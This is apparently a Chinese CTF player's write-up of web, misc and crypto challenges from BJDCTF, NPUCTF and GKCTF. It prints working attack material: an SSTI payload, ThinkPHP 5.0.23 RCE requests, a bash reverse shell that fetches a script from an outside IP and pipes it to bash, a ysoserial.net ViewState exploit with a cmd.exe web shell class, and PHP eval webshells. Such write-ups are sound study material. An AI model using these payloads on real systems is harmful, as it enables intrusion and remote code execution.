写在前面
最近看赛题看得心态崩了,看到大师傅说的一句话挺对的,比赛简单的话只是做起来一时爽,实际学不到什么东西,最近的比赛真的有挺多新东西的,有些虽然非常延迟了,但是可以记录一下学习过程中的思路,以后给自己做做参考
BJDCTF-2td
Web
fake-google
考点:SSTI
%7B%7B[].__class__.__base__.__subclasses__()%7D%7D 获取到所有模块
%7B%7B.__class__.__mro__[1].__subclasses__()%7D%7D
通用payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考
https://www.freebuf.com/column/227519.html
https://blog.csdn.net/zz_Caleb/article/details/96480967?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
简单注入
/hint.txt
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
看起来很像万能密码?
经过一轮尝试,引号、union、select、=都被过滤了
曾经CG-CTF有一题很像这个,尝试转义掉单引号
payload
username=admin\&password=or 1#
效果:
select * from users where username='admin\' and password='or 1#' ;
回显有变化
所以利用 '1' 的部分,进行布尔盲注
暴力破解太狠了。。还是写jio本来得直接。。
oldhack
考点:THINKPHP5.0.23 RCE
THINKPHP漏洞解析
https://www.freebuf.com/column/222641.html
https://seaii-blog.com/index.php/2018/12/12/87.html
尝试之前用过的payload格式:
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php代码
提示:控制器不存在
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller))
棘手的正则表达式
拉到下面有显示thinkphp5.0.23
在该版本之前这个存在控制器名过滤不严的情况,但是这个版本修复了,所以需要换一种方式吧
参考博客:
https://www.jianshu.com/p/ae48507135f3
https://www.ebounce.cn/web/thinkphp-rce.html
https://blog.csdn.net/zhangpen130/article/details/104267388
http://ba8131d9-0789-4c19-8615-29ec240def47.node3.buuoj.cn/?s=captcha
POST:
查找flag
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=find / -name flag
得flag
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
Mark有一篇关于不同版本的不同文件分析记录
https://xz.aliyun.com/t/3570#toc-3
绕过函数限制:
https://www.se7ensec.cn/2020/02/14/%E6%B8%97%E9%80%8F%E8%AE%B0%E5%AE%9EThinkPhp%E7%BB%95%E8%BF%87%E9%99%90%E5%88%B6GetShell/
duangshell
url/.index.php.swp
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
好像都被禁得差不多了。。
应该是反弹shell
一开始很费解为什么弹不出来,后来发现没注意靶机无法连接外网。。所以开个小号启动个内部靶机
ifconfig
在靶机中写一个shell.txt
注:要写在/var/www/html中
bash -i >& /dev/tcp/174.1.13.31/26737 0>&1
nc -lvvp 26737
POST:
girl_friend=curl 174.1.13.31/shell.txt|bash
EasyAspDotNet
hint: web.config
windosw环境的题目,在《web安全深度剖析》一书中其实有提到这个,巧合之中觉得挺有意思的
出题人是带着大家学习了新东西鸭
第一步:找到web.config
比赛时只找了/web.config ../web.config就没往下找了,所以以后一定注意要相信hint!
利用目录穿越:
关注点:
构造目录
blablabla/ImgLoad.aspx?path=../../web.config
0c086825-a817-453f-90fb-5e88dc0e0508.node3.buuoj.cn/ImgLoad.aspx?path=../../web.config
页面一片黑
两种方法获取内容:
尝试在Linux下curl一把得到web.config内容
或者用迅雷
安装.NET framework 略
使用ysoerial.net
https://github.com/pwntester/ysoserial.net/releases/tag/v1.32
下载zip直接包含.exe文件
还需要三个文件,直接拉到.exe相同路径下
所需文件:ExploitClass.cs+System.dll+System.web.dll
ExploitClass.cs
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
两个dll,默认安装路径下找
C:\Windows\Microsoft.NET\Framework64\v4.0.30319
调起小黑框
exp
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"
获取到生成的恶意代码
直接发射命令
注意是Windows下,命令和平时在Linux用的不一样
type命令:显示文本文件的内容
Misc
最简单的Misc
知识点:zip伪加密+png补全+base16加密
加密压缩包,直接改加密位
根据IHDR前面部分缺失,增添了内容后改为.png文件,图片中含有一串
424A447B79316E677A756973687561697D
https://www.freebuf.com/column/170820.html
一开始真的不知道是什么密码,因为刷题也比较少
关于密码:
https://blog.csdn.net/vhkjhwbs/article/details/99692399?locationNum=2&fps=1
NPUCTF
又是一段漫长的学习之路
Web
验证🐎
考点:弱类型 + js原型链污染
web狗
考点:cbc字符串翻转攻击
ezlogin
hint:
请自行了解XPath盲注
路径表达式可用于选取XML文档中的节点或者节点集
XPath盲注
$xpath = "//users/user[username/text()='".$_POST["username"]."' and password/text()='".$_POST["password"]."']";
例如查询语句
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
构造万能密码:
name="admin or '1"
-> "/root/users/user[username/text()='"admin or '1"' and password/text()='".$pwd."']";
超简单的php
一开始直接Source一把看到了phpinfo.php
里面的flag
当然是
假的!!
从phpinfo中了解到是session包含
这里主要是绕过长度限制
写一个马:
<?Php eval($_GET['a']);?>
利用注释
<?Php /*
/**/eval($_GET/*
*/['a']);?>
看msg.php可以看到限制的真实数据
(这里存在一个文件包含也是可以利用的)
这里ban掉了许多许多的命令执行函数,所以只能是php原生文件读取函数
QAQ对php函数实在不熟悉,下次一定
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=phpinfo();
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=scandir('\');
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=var_dump(file_get_contents(''));
crpto
这是什么觅🐎
日历密码
(1)1-26代表a-z26个英文字母
(2)M,T1,W,T2,F,S1,S2分别代表周一到周日
(3)密钥即密码表
解法:
知道密钥
分解密码中的星期i -- 变为星期+数字
寻找对应是第几个出现的星期i,对应日期
对应字母
F1 W1 S22 S21 T12 S11 W1 S13
第一个星期五 第一个星期三 第二个星期日 第一个星期日 第二个星期二 第一个星期六 第一个星期三 第三个星期六
3 1 12 5 14 4 1 18
CALENDAR
calendar
Classical Cipher
第一层:古典密码
第二层:猪圈密码+古埃及象形文字
(dl教我识字体)
classicalcode
flag
要换成小写
flag
GKCTF
Web
CheckIn
考点:php7 disable_function bypass
是Web的签到题,主要是思路不清晰,以后还是要注意观察一下信息,对基础知识点还是要有更清晰的认识
题目直接给了源代码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
还是比较清晰
传入一个Ginkgo,再经过base64解码后eval执行一把
套娃传马
eval(eval($_POST[x]);)
eval($_POST[x]); --> ZXZhbCgkX1BPU1RbeF0pOw==
蚁剑连接
查看根目录
有flag但是打开是空的
有readflag,但是里面是一堆乱码 隐隐约约看到了/flag
估计是要 cat /readflag? cat /flag?
看phpinfo的信息
eval(phpinfo();)
phpinfo(); --> cGhwaW5mbygpOw==
熟悉的一大片ban
利用文件包含直接上一个脚本
https://github.com/mm0r1/exploits
蚁剑上传脚本文件,之后进行包含(这里注意要找一个有权限的文件夹进行上传)
要对文件内容进行一个简单的修改
文件包含(注意分号)
CVE版签到
页面内容:
View CTFHub
You just view *.ctfhub.com
F12看到
?url=http://www.ctfhub.com
一开始看不出什么东西,后来直接给了hint
cve-2020-7066
https://security-tracker.debian.org/tracker/CVE-2020-7066
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
所以就是会出现url截断的问题,这里应该是一个ssrf,伪造一个请求
所以构造
?url=http://127.0.0.1%00.ctfhub.com
得到
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Fri, 29 May 2020 02:30:28 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => Tips: Host must be end with '123'
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
这里说必须以123结尾
?url=http://127.0.0.123%00.ctfhub.com
老八小超市儿
CMS漏洞,还是应该善用搜索引擎
参考复现文章
http://www.nctry.com/1660.html